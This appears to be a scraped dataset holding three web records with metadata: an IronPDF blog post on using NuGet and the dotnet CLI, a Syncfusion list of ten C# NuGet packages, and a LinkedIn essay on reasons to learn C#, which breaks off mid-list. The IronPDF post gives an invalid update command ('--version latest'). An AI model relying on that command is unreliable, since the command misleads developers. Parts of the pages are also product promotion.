Thanks for reading. These are simple workarounds, but I hope it can save someone the time of troubleshooting.
|
|||||
8582
|
dbpedia
|
3
| 48
|
https://ironpdf.com/blog/net-help/dotnet-nuget/
|
en
|
Dotnet NuGet (How It Works For Developers)
|
[
"https://ironpdf.com/img/svgs/united-states.svg",
"https://ironpdf.com/img/svgs/spain.svg",
"https://ironpdf.com/img/company/about/who_we_are.webp",
"https://ironpdf.com/img/svgs/navbar/ironpdf-logo.svg",
"https://ironpdf.com/img/products/ironpdf-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironword-logo.svg",
"https://ironpdf.com/img/products/ironword-text-without-icon-white.svg",
"https://ironpdf.com/img/svgs/navbar/ironxl-logo.svg",
"https://ironpdf.com/img/products/ironxl-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironocr-logo.svg",
"https://ironpdf.com/img/products/ironocr-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironbarcode-logo.svg",
"https://ironpdf.com/img/products/ironbarcode-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironqr-logo.svg",
"https://ironpdf.com/img/products/ironqr-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironzip-logo.svg",
"https://ironpdf.com/img/products/ironzip-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironprint-logo.svg",
"https://ironpdf.com/img/products/ironprint-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironwebscraper-logo.svg",
"https://ironpdf.com/img/products/ironwebscraper-text.svg",
"https://ironpdf.com/img/products/suite-logo-text-dotnet-large-white-v2.svg",
"https://ironpdf.com/img/products/suite-logo-text-dotnet-large-white-v3.svg",
"https://ironpdf.com/img/svgs/teamseas-logo-for-dropdown.svg",
"https://ironpdf.com/img/svgs/navbar/ironsecuredoc-logo.svg",
"https://ironpdf.com/img/products/ironsecuredoc-text-without-icon-white.svg",
"https://ironpdf.com/img/svgs/navbar/irondrawing-logo.svg",
"https://ironpdf.com/img/products/irondrawing-text-without-icon-white_2.svg",
"https://ironpdf.com/img/svgs/navbar/ironfreetools-logo.svg",
"https://ironpdf.com/img/products/ironfreetools-text-without-icon-white-text.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text.svg",
"https://ironsoftware.com/img/svgs/logo-icon.svg",
"https://ironpdf.com/img/products/ironpdf-text-without-icon-black.svg",
"https://ironpdf.com/img/svgs/search-no-results.svg",
"https://ironpdf.com/img/svgs/illustration2.svg",
"https://ironpdf.com/static-assets/pdf/blog/dotnet-nuget/dotnet-nuget-1.webp",
"https://ironpdf.com/static-assets/pdf/blog/dotnet-nuget/dotnet-nuget-2.webp",
"https://ironpdf.com/static-assets/pdf/blog/dotnet-nuget/dotnet-nuget-3.webp",
"https://ironpdf.com/static-assets/pdf/blog/dotnet-nuget/dotnet-nuget-4.webp",
"https://ironpdf.com/img/nuget.blue.svg",
"https://ironpdf.com/img/svgs/tick-green.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/license-types/icon-lightbulb.svg",
"https://ironpdf.com/img/nuget-logo.svg",
"https://ironpdf.com/img/dll-img.png",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_checked.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_checked.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/svgs/ribbon.svg",
"https://ironpdf.com/img/agency-img.svg",
"https://ironpdf.com/img/post-sale/suite-logo-white.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironocr-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironxl-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironbarcode-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironwebscraper-logo-text-dotnet.svg",
"https://ironpdf.com/img/svgs/curved-white-arrow.svg",
"https://ironpdf.com/img/products/h-56/ironpdf-text.svg",
"https://ironpdf.com/img/products/h-56/ironword-text.svg",
"https://ironpdf.com/img/products/h-56/ironxl-text.svg",
"https://ironpdf.com/img/products/h-56/ironocr-text.svg",
"https://ironpdf.com/img/products/h-56/ironbarcode-text.svg",
"https://ironpdf.com/img/products/h-56/ironqr-text.svg",
"https://ironpdf.com/img/products/h-56/ironzip-text.svg",
"https://ironpdf.com/img/products/h-56/ironprint-text.svg",
"https://ironpdf.com/img/products/h-56/ironwebscraper-text.svg",
"https://ironpdf.com/img/products/footer-top-logo-ironpdf-for-net.svg",
"https://ironpdf.com/img/svgs/hero-logo__162x20.svg",
"https://ironpdf.com/img/footer-socials/github.svg",
"https://ironpdf.com/img/footer-socials/youtube.svg",
"https://ironpdf.com/img/footer-socials/twitter-x.svg",
"https://ironpdf.com/img/footer-socials/facebook.svg",
"https://ironpdf.com/img/footer-socials/linkedin.svg",
"https://ironpdf.com/img/icons/slack-icon.svg",
"https://ironpdf.com/img/svgs/united-states.svg",
"https://ironpdf.com/img/svgs/spain.svg",
"https://ironpdf.com/img/svgs/supporting-teamseas-message-footer.svg"
] |
[] |
[] |
[
""
] | null |
[] |
2024-03-27T00:00:00+07:00
|
NuGet is the package manager for .NET, allowing developers to create packages, share, and consume code in a modular fashion
|
en
|
/img/favicon/iron-software-favicon.png
|
https://ironpdf.com/blog/net-help/dotnet-nuget/
|
NuGet stands at the core of modern .NET Core development, acting as an essential tool for developers who aim to create, build, share, and consume useful code across their projects. This guide delves into the fundamentals of NuGet within the .NET ecosystem, particularly focusing on how devs can leverage the Dotnet CLI to manage and consume packages effectively. By using simple terms and practical examples, this article aims to provide beginner developers with a thorough understanding of NuGet and how to harness them in .NET applications. We'll also explore the IronPDF library as a PDF manipulation tool for .NET applications.
What is Dotnet NuGet?
NuGet is the package manager for .NET, allowing developers to create packages, share, and consume code in a modular fashion. It simplifies the process of incorporating third-party libraries into .NET projects, handling everything from downloading and installing packages to managing dependencies. The .NET NuGet command, among other versatile .NET CLI commands, is part of the .NET CLI (Command Line Interface), a powerful tool that enables developers to interact with NuGet packages directly from the commands.
Creating Your First NuGet Package
Creating a package involves packaging your code into a .nupkg file, which can then be shared and easily consumed by other projects through consume packages commands. To start, ensure your project is organized and your project file (.csproj for C#) is up to date. Here's a simple step-by-step process using the CLI:
Open your command line interface.
Navigate to your project directory.
Execute the command dotnet pack. This command compiles your project and packages it into a .nupkg file.
Your first NuGet package is now ready! The package includes your compiled code and a nuspec file, which contains metadata about your package like its version, author, dependencies, and more.
Consuming NuGet Packages in Your Projects
To use a package in your project, you need to install it. The CLI makes this process straightforward. For instance, to download a package named ExamplePackage, you would use the following command:
dotnet add package ExamplePackage
This command updates your project file to include ExamplePackage as a dependency, and the .NET CLI takes care of downloading and installing the package into your project.
Managing Dependencies and Projects with the .NET Command Line Interface (Dotnet CLI)
The CLI is not just for creating and consuming packages; it's a versatile tool for managing your .NET projects. With it, you can add, remove, and update packages in your projects added months ago without needing to manually edit project files or use Visual Studio. For example, to remove a package, use:
dotnet remove package ExamplePackage
And to update a package to the latest version:
dotnet add package ExamplePackage --version latest
These commands enhance your workflow, making dependency management more straightforward and less error-prone.
Leveraging Visual Studio for NuGet Package Management
While the command line offers powerful capabilities, Visual Studio provides a more intuitive interface for managing NuGet packages. Within VS, you can browse, install, and update packages using the NuGet Package Manager. This graphical interface is especially beneficial for developers who prefer visual tools over command operations.
IronPDF: A Gateway to Advanced PDF Manipulation
IronPDF is a robust library tailored for .NET developers who require comprehensive PDF functionalities. Whether you're generating reports, converting HTML to PDF, or manipulating existing PDF documents, IronPDF stands ready to transform your project's capabilities. The beauty of IronPDF lies in its simplicity and power, encapsulating complex PDF operations into straightforward .NET code.
Getting Started with IronPDF
Integrating IronPDF into your .NET project is a breeze, thanks to NuGet. Here’s how you can add IronPDF to your project using the console, intertwining our discussion with practical application:
Open NuGet Package Manager Console.
Run the following command to install the IronPDF package:
Install-Package IronPdf
This command fetches IronPDF from the NuGet repository and integrates it into your project, ready for use.
Crafting Your First PDF with IronPDF
Once IronPDF is a part of your project, you're set to dive into the world of PDF generation. Here's a simple example that demonstrates creating a PDF from HTML content:
using IronPdf; class Program { static void Main() { IronPdf.License.LicenseKey = "Liecnse-Key"; var Renderer = new ChromePdfRenderer(); var PDF = Renderer.RenderHtmlAsPdf("<h1>Hello, IronPDF!</h1><p>Welcome to the easy PDF generation.</p>"); PDF.SaveAs(@"f:\HelloIronPDF.pdf"); // create PDF } }
This snippet creates a PDF document containing a heading and a paragraph, showcasing the simplicity with which IronPDF operates. The RenderHtmlAsPdf method converts HTML code directly into a PDF file, illustrating just one facet of IronPDF's capabilities.
Why IronPDF?
IronPDF excels where it matters most: performance, flexibility, and ease of use. For .NET devs, it opens up a world of possibilities for PDF creation and manipulation, all while maintaining the project's coherence and dependency management through NuGet. IronPDF and NuGet together exemplify the synergy between powerful libraries and efficient package management, enhancing the .NET development experience.
Conclusion
|
|||||
8582
|
dbpedia
|
1
| 5
|
https://www.syncfusion.com/blogs/post/10-best-c-nuget-packages-to-improve-your-productivity-in-2022
|
en
|
10 Best C# NuGet Packages to Improve Your Productivity in 2022
|
[
"https://cdn.syncfusion.com/content/images/chat_icon.svg",
"https://cdn.syncfusion.com/content/images/chat_icon.svg",
"https://cdn.syncfusion.com/content/images/chat_icon.svg",
"https://cdn.syncfusion.com/content/images/chat_icon.svg",
"https://cdn.syncfusion.com/content/images/common/close-icon-animation.svg",
"https://cdn.syncfusion.com/content/images/common/close-icon-animation.svg",
"https://www.syncfusion.com/blogs/wp-content/uploads/thegem-logos/logo_5bdd26f0a871184a9c5b7be506bab1c4_3x.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/thegem-logos/logo_5bdd26f0a871184a9c5b7be506bab1c4_3x.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2022/01/10-Best-C-NuGet-Packages-to-Improve-Your-Productivity-in-2022.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2022/01/10-Best-C-NuGet-Packages-to-Improve-Your-Productivity-in-2022.png",
"https://secure.gravatar.com/avatar/7a385749f06fddb46f378aa582655433?s=300&d=mm&r=g",
"https://secure.gravatar.com/avatar/7a385749f06fddb46f378aa582655433?s=300&d=mm&r=g",
"https://www.syncfusion.com/blogs/wp-content/uploads/2022/02/10-JavaScript-Naming-Conventions-Every-Developer-Should-Know-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2022/02/10-JavaScript-Naming-Conventions-Every-Developer-Should-Know-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/11/Angular-Promises-Versus-Observables-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/11/Angular-Promises-Versus-Observables-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/04/6-Easy-Ways-to-Export-Data-to-Excel-in-C-4.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/04/6-Easy-Ways-to-Export-Data-to-Excel-in-C-4.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2022/02/10-JavaScript-Naming-Conventions-Every-Developer-Should-Know-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2022/02/10-JavaScript-Naming-Conventions-Every-Developer-Should-Know-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/11/Angular-Promises-Versus-Observables-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/11/Angular-Promises-Versus-Observables-3.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/04/6-Easy-Ways-to-Export-Data-to-Excel-in-C-4.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/04/6-Easy-Ways-to-Export-Data-to-Excel-in-C-4.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/12/TRY-IT-FREE.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2019/12/TRY-IT-FREE.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2024/02/Syncfusion_Horizontal.svg",
"https://www.syncfusion.com/blogs/wp-content/uploads/2024/02/Syncfusion_Horizontal.svg",
"https://www.syncfusion.com/blogs/wp-content/uploads/2024/02/Syncfusion_Horizontal.png",
"https://www.syncfusion.com/blogs/wp-content/uploads/2024/02/Syncfusion_Horizontal.png"
] |
[] |
[] |
[
""
] | null |
[
"Sangeetha Periyaiah"
] |
2022-01-04T07:38:00-05:00
|
This article lists the 10 best NuGet packages and their functionalities that improve productivity when programming with C#.
|
en
|
/blogs/wp-content/uploads/2018/08/favicon.ico
|
Syncfusion
|
https://www.syncfusion.com/blogs/post/10-best-c-nuget-packages-to-improve-your-productivity-in-2022
|
C# is one of the most popular languages used by the developers, which implies it is very productive. To further improve the productivity of using C#, there are a lot of NuGet packages available.
In this blog, we discuss the 10 best NuGet packages for improving the productivity of developers when using C#:
RestSharp
Json.NET
Serilog
NUnit
Insight.Database
FluentValidation
Noda Time
FluentEmail
Hangfire
LazyCache
RestSharp
REST stands for representational state transfer. RestSharp is the most popular HTTP client library for .NET. Using this library, C# developers can easily call remote resources over HTTP, and it takes care of serializing the request body to JSON or XML and deserializing them in the response.
The RestSharp NuGet package supports:
Both synchronous and asynchronous requests.
Both serialization and deserialization.
Different HTTP request methods like GET, POST, PUT, and DELETE.
A variety of authentications.
Total downloads: 109.9M
Json.NET
Json.NET is a free and open-source library in .NET with over 1 billion NuGet downloads. Its key features include:
Serializing and deserializing any .NET object to JSON and JSON to .NET object.
Conversion between XML and JSON.
Using LINQ query against JObject, JArray, and JValue objects.
50% faster performance than DataContractJsonSerializer, and 250% faster than JavaScriptSerializer. (reference)
Total Downloads: 1.6B
Serilog
Logs are records of actions, exceptions, information, and warnings. Logging is an important factor in application development that helps developers to detect and resolve issues easily.
Serilog is a new logging framework used in .NET. It logs custom properties and data in JSON format.
When other logging tools provide the log data in unstructured format, Serilog provides structured logs. This also allows developers to easily record configured event data across consoles, files, and all types of storage systems.
Total downloads: 360.6M
NUnit
Testing plays a major role in software development to ensure the correctness of the code.
NUnit is an open-source unit-testing framework for all .NET languages, which includes C#. With NUnit, you can easily test large applications by breaking them into small modules. It helps us find issues even during the time of development.
Total downloads: 152.1M
Insight.Database
Insight.Database is a micro-ORM (object-relational mapping) for .NET that translates C# object data to database records and vice versa. It is a set of extension methods that makes handling databases easier in a C# application.
The primary features of Insight.Database include:
Automatic open/close of database connections.
Easy execution of stored procedures.
Support for multiple result sets.
Note: To learn more about Insight.Database, refer to this GitHub page.
Total downloads: 686.5K
FluentValidation
FluentValidation is a .NET library for building strongly typed validation rules. It uses a Fluent interface and lambda expression to prepare the validation rules. The validation rules help maintain a clean domain code and make it more integrated. Also, it gives you a place to find the verification logic.
FluentValidation has numerous built-in validations such as null check, string empty validation, max length, and min length. It also supports a custom validator, customizing validation messages based on property name, providing messages based on localization, asynchronous validations, and so on.
Total downloads: 117M
Noda Time
Working with date-times and time zones in .NET is very painful. Noda Time fills the gap of .NET date-time operation and makes life easier. It gives different APIs to handle UTC, local dates, and local time zones. The clock service functionality easily converts local time to UTC and UTC to local time, thereby avoiding the major mistakes made by developers.
Total downloads: 45.7M
FluentEmail
FluentEmail is an open-source .NET library that allows you to ingrate email-sending functionality in your .NET application in 10 minutes. Use Razor to design the email templates and send the emails using SendGrid, MailGun, SMTP, and more.
Some of the most common functionalities available on the email object are To, From, CC/BCC, Subject, Body, Attach, UsingTemplate, and SendAsync.
Total downloads: 1.8M
Hangfire
Hangfire is an open-source framework that allows you to create, process, and manage background work. You can run your background jobs in the main process of your application without the need for a dedicated service.
Hangfire supports a wide variety of background tasks: short-run and long-run, CPU intensive and I/O intensive, one shot and recurrent.
Total downloads: 18.6M
LazyCache
Caching is a great way to improve the performance of an application. LazyCache uses a GetOrAdd format for caching, where you request an item from cache while providing the functionality to add it if the item is missing.
LazyCache is highly suitable for caching database calls, complex object graph building routines, and web service calls that may need to be stored temporarily for performance. It allows items to be cached for more or less time, but by default it saves the cached items for up to 20 minutes.
Key features of LazyCache are:
It is thread-safe and concurrency-ready.
Async compatible: lazy single evaluation of async delegates using the GetOrAddAsync() method.
Total downloads: 7.1M
Conclusion
Thanks for reading! In this blog, we have seen the 10 best NuGet packages for improving productivity when programing with C#. These packages reduce developing time and workload.
Syncfusion’s Essential Studio is a software package that provides state-of-the-art solutions for startups and enterprises. It includes more than 1,700 components and frameworks for WinForms, WPF, .NET MAUI, ASP.NET (Web Forms, MVC, Core), UWP, WinUI, Xamarin, Flutter, Blazor, JavaScript, Angular, Vue, and React that make developers’ work easier.
Please share your feedback as comments on this blog. You can also reach us through our support forums, support portal or feedback portal.
Related articles
|
||||
8582
|
dbpedia
|
1
| 10
|
https://www.linkedin.com/pulse/15-reasons-why-you-should-learn-c-2023-andrea-angella
|
en
|
15 reasons why you should learn C# in 2024
|
https://media.licdn.com/dms/image/D4D12AQF0OvhXoZp2VA/article-cover_image-shrink_720_1280/0/1679158596940?e=2147483647&v=beta&t=O48aw5r6tcJ0gE9XfhNwUPa4MA7nsyMNy91yP1fJIhA
|
https://media.licdn.com/dms/image/D4D12AQF0OvhXoZp2VA/article-cover_image-shrink_720_1280/0/1679158596940?e=2147483647&v=beta&t=O48aw5r6tcJ0gE9XfhNwUPa4MA7nsyMNy91yP1fJIhA
|
[
"https://media.licdn.com/dms/image/D4D12AQF0OvhXoZp2VA/article-cover_image-shrink_720_1280/0/1679158596940?e=2147483647&v=beta&t=O48aw5r6tcJ0gE9XfhNwUPa4MA7nsyMNy91yP1fJIhA"
] |
[] |
[] |
[
""
] | null |
[
"Andrea Angella"
] |
2023-03-18T16:59:24+00:00
|
Why you should learn C#? This is the question I want to answer in this article. I am Andrea, a Microsoft MVP, Technical Lead and .
|
en
|
https://static.licdn.com/aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca
|
https://www.linkedin.com/pulse/15-reasons-why-you-should-learn-c-2023-andrea-angella
|
Why you should learn C#?
This is the question I want to answer in this article. I am Andrea, a Microsoft MVP, Technical Lead and .NET community lead. I have than 15+ years of professional experience using C# and in this article, I want to share my top 15 reasons why I consider C# the best programming language and why you should learn C# in 2024. If you like this article and interested in taking the next step to master C#, join my free course on Modern C# 12.
1. C# is simple, readable and easy to use
As a developer, like it or not, you spend most of your time reading and understanding code rather than writing it.
This is why, one of the most important quality I consider in a programming language is readability.
The effort language designers put in creating constructs and new syntax to make the code readable, elegant and compact is extremely valuable for optimising modern team-based software development.
A language should not get in the way of readability but, on the contrary, it should provides ways to express your intent clearly.
C# was designed from the ground up with simplicity and readability in mind.
C# was inspired by languages like C, C++ and Java but the designers took the best parts of them and innovated further by introducing new concepts like value types, properties and events. For example, C# does not allows to use raw pointers directly to memory and it does not offer multiple class inheritance. C# provides a garbage collector that is handling the memory on your behalf. For the majority of scenarios, you don’t need to worry about memory management and that is just an example of what makes working with C# a lot easier.
The C# language is also easy to learn because by learning a small subset of the language you can immediately start to write useful code. More advanced features can be learnt as you become more proficient, but you are not forced to learn them to get up and running.
C# is very good at encapsulating complexity. Sometimes, you can successfully use C# features even without fully understanding how they work under the covers. You can work with iterators for years without ever understanding how they work. You can work with async and await without knowledge of all the intricacies about how the feature is implemented by the compiler. This is the important OO encapsulation principle applied to the language itself. I find this to be remarkable about C#.
2. C# is all about developer productivity
Developer productivity is another key design principle for C# since the first release.
C# is a strongly typed language developed to make it easy to build powerful tools on top of it.
Visual Studio and Visual Studio Code are best in class software development environments used by C# developers. The R# Visual Studio extension provides incredible productivity, code analysis, code-generation features to 10X your developer experience. Rider is a new powerful and popular cross-platform IDE for C# software development.
As a developer, I really care about productivity. I love to work with tools that help me to be more effective in my job. I like that I can rely on the powerful C# compiler to find errors even before I run my code. With C# 9 you can even get the compiler to help creating null-safe software.
C# also contains a tons of features, explicitly introduced to the language to improve productivity and make common tasks easy to do:
The null-conditional operator enable developers to do null-checking in an incredibly succinct way.
Indexes and Ranges allows to intuitively create slices from collections
Var reduce the need to duplicate type names
Generics avoid duplicating code that only varies by type while preserving type-safety
Records, primary constructors and top-level statements help to remove a lot boilerplate code and be more productive
Global and Implicit using help to save horizontal and vertical screen space
3. C# is a multi-paradigm programming language
C# started as a strongly object-oriented language and over time become a multi-paradigms language supporting imperative, declarative, generic and functional programming styles.
Generics introduced in C# 2 enabled developers to implement algorithms and data structures that were parametric with types. They key thing was that this feature was implemented natively in the runtime, making generics completely efficient and type safe.
LINQ introduced functional programming to C#. The combinations of features like lambda expressions, anonymous types, extension methods, expression trees introduced a functional and uniform way to query data sources.
LINQ is one of the most elegant and powerful technology inside C#. The query syntax also provides a declarative, SQL like experience directly inside the programming language.
LINQ introduced an unmatched readability to our C# code, transforming the way C# software was developed in the wild.
C# 7, 8, 9, 10, 11, 12 continued the functional journey adding capabilities like switch expressions and advanced pattern matching to the language.
4. C# is a flexible general-purpose language
C# is very flexible and allows you to develop a big variety of systems.
With C# you maximize the return of investment on your skills because you can build almost any kind of applications:
Console applications
Desktop applications (Windows Forms, WPF)
Windows Services
Web Services and Web applications (ASP.NET Core, Blazor)
Native Mobile Applications (.NET MAUI)
AI Applications (ML.NET)
Distributed and Cloud Applications (Azure)
Games (Unity, Godot)
IoT applications
Reusable libraries
It's important to say C# was not design to develop system-level performance critical software. It was not designed to compete directly on performance and size with the C and C++ languages.
5. C# runs on a solid well-engineered .NET runtime
C# was not designed in isolation but as part of the overall .NET framework project.
The .NET runtime (called CLR) is an outstanding piece of engineering that provides memory management, JIT compilation, assembly versioning and loading, security, thread synchronization, exception handling, common type system, attributes, interoperability with unmanaged code, culture and more.
In the recent years .NET Core was developed from the ground up and improved on the original .NET implementation in some significant ways. .NET Core provides the ability to develop cross-platform applications, new deployment modes, incredible performance and much more.
.NET and .NET Core finally converged in .NET 6 on November 2021 and set the foundation of a single modern unified platform for C# software development. Since then .NET 8 have been released on November 2023 continuing this amazing journey. Exciting times!
6. C# is cross-platform
At the beginning C# was a language exclusively reserved for Windows developers because the .NET framework was tightly coupled with the Microsoft operating system. This was certainly a limiting factor in the adoption of C#.
Finally, this is no longer the case!
.NET has been designed from the ground up to run on multiple operating systems including Linux and Mac.
.NET MAUI also provides the ability to run your C# code natively on mobile platforms like Android and iOS.
You can now run your C# on multiple operating systems. This is fantastic!
7. C# is mature, popular and in very active development
C# is 24 years old.
C# is a very mature language that evolved significantly over the years.
The C# language is one of the top 5 most popular programming languages and .NET is the most loved software development framework in the world.
TIOBE Index predicts C# as 2023 'Language of the Year' close to overtake Java in popularity. I believe many Java developers are gradually moving to C# and more expressive, productive and open-source languages.
C# is in very active development. The latest stable release is C# 12 that was released in November 2023 and introduced many improvements to the language.
New major releases of C# are expected to be released every year alongside updates to the new unified .NET.
8. C# is Open-Source and led by Microsoft
C# is now fully developed in the open on Github.
The last 6 releases (C# 7, 8, 9, 10, 11 and 12) were developed using an open-source model and future releases will continue to be developed in this way.
Everyone can provide feedback and propose new features by creating issues on the official C# Github page.
All notes from official design meetings are publicly shared with the community.
Behind the C# development language there is Microsoft, the most successful software company in the world.
Microsoft is ultimately responsible to preserve the key design principles of the language. In my opinion, this is a very good thing!
Microsoft is a different company then what used to be in the past. They truly embraced open source and recently become the largest contributor to open source software.
Microsoft is developing C# following these four key strategy guidelines:
We will keep growing C# to meet the evolving needs of developers and remain a state of the art programming language.
We will innovate aggressively while being very careful to stay within the spirit of the language.
We will prefer language and performance improvements that benefit all or most developers.
We will continue to empower the broader ecosystem and grow its role in C#'s future, while maintaining strong stewardship of design decisions to ensure continued coherence.
9. C# has an active and vibrant community
I love the C# and .NET community.
The community is probably one of the major reasons why I decided to invest on C# for my professional career.
I started by attending local .NET events in Italy and I met some amazing developers over the years. Despite my very limited experience, one of them convinced me to create the official .NET community in Tuscany that I led for 8 years.
For 8 years, I led the official .NET community in Cambridge, UK organizing events every month for 1500+ professional .NET developers. Last year, after a relocation to Northampton, I step down from the Cambridge community but the community is continuing to grow strongly thanks to the new amazing leadership of Clive Tong and John Puddifoot .
Developers love to meet regularly in a safe environment to learn and grow from each other. It's fun. It's rewarding. It's useful for your career to practice speaking skills and to build your network. I even found my job at Redgate thanks to a community event.
The .NET Foundation is an independent organization to foster open development and collaboration around the .NET ecosystem. It provides support to .NET community leaders to run communities and it’s currently actively supporting 300+ .NET meetup groups around the world.
In my experience local communities are the best but developers also love to meet online in addition to attending conferences.
If your level of contribution in the community is high enough, Microsoft also rewards individual with a very special award called Microsoft MVP. I am honoured to be part of such a group. We meet regularly at a special event called the Microsoft MVP summit organized in the Microsoft headquarters each year.
If you are a community person and you love to interact with passionate developers, you will certainly love entering the C# world.
10. C# is a well-documented language
The official documentation on the C# language is very well-written. It's the right place to start learning C#.
Microsoft Learn also provide learning materials on a wide variety of topics relevant for C# developers.
If you want to master C#, learn all the latest features and stay up-to-date with the language and become a successful engineering leader consider joining the Productive C# membership.
If you want a rigorous exploration of the C# language syntax visit the official C# specification.
11. C# has built-in design patterns and best practices
C# embed directly in the language many important design patterns. It helps to implement design patterns correctly in a very elegant way.
The IEnumerable and IEnumerator interfaces, yield and the foreach keywords provide an extremely simple and intuitive way to implement the Iterator design pattern.
The using statement and the IDisposable interface provided an simple way to cleaning up resources after usage.
Events are an idiomatic implementation of the Observer design pattern (publish/subscribe).
Delegates provides an idiomatic and more functional way to implement the Strategy and Factory design patterns.
Async/Await provide an intuitive way to implement asynchronous programming while maintaining a similar level of productivity as writing synchronous code.
12. C# can leverage an extensive collection of libraries
The Base Class Library provided by the .NET framework is a massive help in the hands of C# developers.
C# can tap on a vast collection of types to implement the most common tasks like using the file system, sending and receiving data over the network, performing math and crypto operations and much more.
NuGet is the de-facto package manager for .NET and provide a 380K+ unique packages instantly available to be consumed inside your C# applications.
You really have a lot of reusable components and frameworks available at your fingertips as soon as you adopt C#.
13. C# can run very fast
It's true that C# has not been designed with performance as a key design goal.
However, over the years C# introduced many features to help developers optimize performance and memory allocations.
Structs, pointers, fixed statements, ValueTuple, ValueTask, ref structs, stackalloc initializers, Span<T>, Memory<T>, String.Create are all features and types that provide ways to improve performance in critical C# applications. .NET and ASP.NET Core capitalize on those features to create a super fast runtime and web application framework.
C# can be optimized to run very fast but please don't get caught in premature optimization. Most of the time you don't need to care about speed and keeping your code readable is way more important. Also don't forget that the JIT compiler generate machine code at the exact time when the code is executed and that sometimes can generate code that is even faster than code compiled ahead of time like C and C++.
Native AOT enables ahead-of-time compilation creating apps with faster startup time and smaller memory footprints. These native apps runs without a dependency on the .NET runtime.
Don't let performance be a reason stopping you to learn and adopt C#.
14. C# can run in the browser
Blazor is the latest addition to the .NET technologies and probably one of the most exciting and promising.
Blazor is a framework to build client web applications with C# instead of Javascript leaveraging the standard WebAssembly technology. You can finally run C# in the browser without forcing the users to install plugins. A web assembly compiled version of a trimmed .NET runtime is used to run your C# code natively directly in any browser.
